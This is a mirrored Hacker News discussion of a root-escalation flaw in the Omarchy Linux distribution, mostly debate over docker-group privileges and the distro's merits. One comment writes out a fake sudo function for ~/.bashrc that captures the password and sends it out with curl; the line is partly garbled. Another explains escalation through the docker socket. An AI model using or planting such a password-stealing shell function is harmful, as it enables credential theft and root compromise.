Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

191–200 of 583 posts

Re: Omarchy: Any User Process Can Escalate to Root

#191
post #170

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

[flagged]

No no, be fair -- some of us ridicule everyone using AI and the slop they get it to extrude.

Re: Omarchy: Any User Process Can Escalate to Root

#192

Earlier quoted context omitted.

Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.

If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.

The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand.

Re: Omarchy: Any User Process Can Escalate to Root

#193
post #170

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

[flagged]

Could you point to things that are not glaring security vulnerabilities that are ridiculed in the same way?

Re: Omarchy: Any User Process Can Escalate to Root

#194

Earlier quoted context omitted.

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

On average, you can either have a discoverable GUI for noobs, or a configurable, keyboard driven system that's a giant pain to learn and configure. Omarchy aims to find a middle ground between those two.

> either have a discoverable GUI for noobs, or a configurable, keyboard driven system

Absolutely wrong. Windows is both and it can be 100% keyboard driven.

Re: Omarchy: Any User Process Can Escalate to Root

#195
post #100
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""

[deleted]

Re: Omarchy: Any User Process Can Escalate to Root

#196

Earlier quoted context omitted.

> What is different here? I don’t understand how this is a question. What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be. You can choose to configure your installs this way if you choose to do so. It should not come this wa…

It does warn you. It's an opinionated Linux for a modern developer/user. This modification absolutely makes sense in that context.

I hope this was an attempt at sarcasm.

The Omarchy team immediately fixed this because it was a security oversight, not an intentional opinionated choice.

Re: Omarchy: Any User Process Can Escalate to Root

#197

Earlier quoted context omitted.

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I got here because it was the first time I saw a tiling window manager on an Omarchy video. I was on windows my entire life, so when i saw it and how bad windows got, I decided to give it a try. A few months since I de-omarchyfied the system and went straight back to arch. And now still on it. I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an opti…

you can pick the best things out of cachy without moving to it wholesale. Like their proton, maybe kernel or mesa

Re: Omarchy: Any User Process Can Escalate to Root

#198

Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.

Nobody said you can't complaint about things unless you're forced to use them!

Re: Omarchy: Any User Process Can Escalate to Root

#200
post #170

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

[flagged]

I've got nothing against DHH or AI. I just don't think vibe coding works well for systems of this scale.
Post reply on HN